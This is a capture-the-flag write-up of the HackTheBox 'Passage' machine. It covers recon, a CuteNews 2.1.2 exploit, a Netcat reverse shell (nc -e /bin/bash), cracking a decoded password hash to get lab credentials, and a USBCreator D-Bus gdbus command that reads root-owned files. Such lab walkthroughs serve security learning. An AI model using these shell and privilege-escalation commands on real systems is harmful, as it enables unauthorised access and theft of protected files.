Categories
HackTheBox Writeups

[HTB] – Passage

Welcome back to a new Write-up. Been some time since I did some HackTheBox. This box was a Medium Linux one, but fairly it was a very easy box. The entire process is pretty straightforward in my opinion.

Foothold

First some recon :

$ nmap -p- -T4 -A 10.10.10.206 | tee scan.nmap
  • -A : enables OS detection (-O), version scanning (-sV), script scanning (-sC) and traceroute (--traceroute)
  • -p- : nmap scans every port
  • -T4 : allows you to adjust the Timing Template (according to your bandwidth, and the speed you're seeking)
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-22 13:06 CET
Nmap scan report forpaul  10.10.10.206
Host is up (0.025s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.71 seconds

Not much to see here. The next recon action I always do is to fuzz for directories using gobuster. But for some reason (will come back to it later), I kept getting the following error :

[ERROR] 2020/11/22 21:50:23 [!] Get http://10.10.10.206/76: dial tcp 10.10.10.206:80: connect: connection refused

When visiting the website, the only interesting post is the one pinned to the top :

This the reason we couldn't fuzz. Fail2Ban blacklist's any IP being a little bit too intense on the server for 2 minutes. If you retry it, this value will increase, until reaching 32 minutes.

After trying to get an LFI working (there were some tempting parameters πŸ™‚ ), I took a closer look at the CMS used :

When navigating to http://10.10.10.206/CuteNews/, you'll get a registration form, with the CuteNews version : 2.1.2.

Simple googling allowed me to find a corresponding exploit : https://www.exploit-db.com/exploits/48800

Just run it with python3, and enter the URL when asked for it, and you should be good to go.

Now we got a shell, but it doesn't display errors or any password prompt for example. In case we get a user, we won't be able to use the su to connect to it. However, there is an easy workaround. We just have to run Netcat.
So on another terminal listen with Netcat on a certain port : nc -lvp
In the shell we already
have, run nc -e /bin/bash

Next just run the usual command to get a good looking prompt : python -c 'import pty; pty.spawn("/bin/bash")'

Own User

After some boring and basic file enumeration, I got two users, Paul and Nadav, and I found this file : /var/www/html/CuteNews/cdata/users/lines
There were a bunch of base64 encoded strings. One of them had some interesting content :

──(leoγ‰Ώkali)-[~]
└─$ echo -n "YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19" | base64 -d
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"[email protected]";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}} 

Crackstation gave us the password value.

We got the following credentials : paul:atlanta1

su paul
atlanta1

id
id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
cat /home/paul/user.txt
cat /home/paul/user.txt
8ed4b4ce4f82695547c91683b0e66728
[email protected]:/var/www/html/CuteNews/cdata/users$

Own Root

Same thing for the root, basic enumeration. When taking a look at the running processes I noticed one that was unusual (I stored the result in a text file, because for some reason the end of the processes name where cut out) :

ps aux > /tmp/process.txt
root       9072  0.0  0.4 235520 19660 ?        Sl   02:00   0:00 /usr/bin/python3 /usr/share/usb-creator/usb-creator-helper

I looked for an exploit online and found this website that explains it pretty well : https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/

Essentially, it allows us to read any file with root privileges, and write it to a file we can have access to.

Here is one payload example :

gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/.logs.txt true

This payload copies the content of /root/root.txt to /tmp/.logs.txt. It didn't work at first, because I wasn't logged in as the right user. The article I linked above mentions a "nadav" user πŸ™‚ . That's quite the hint... So we have to find a way to switch from paul to nadav. After some further exploration, I noticed that nadav was in the /home/paul/.ssh/authorized_keys file, which means that the user nadav, can simply do ssh [email protected] when logged in on the machine to connect as paul. I wonder if paul can do the same ...

id
uid=1001(paul) gid=1001(paul) groups=1001(paul)
ssh [email protected]
ssh [email protected]
The authenticity of host '10.10.10.206 (10.10.10.206)' can't be established.
ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg.
yes
yes
Warning: Permanently added '10.10.10.206' (ECDSA) to the list of known hosts.
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
id
id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
[email protected]:~$ 

Now, if we retry the previous payload, we won't get an error anymore, and a /tmp/.logs.txt file will be created, with the root validation hash. We could also have printed the content of the roots ssh key to get a shell, but it is unnecessary in this context. But if you're new to this, I really encourage you to try and get shell every time you can, it's a good exercise.

That's it for this write-up, I hope you enjoyed πŸ˜‰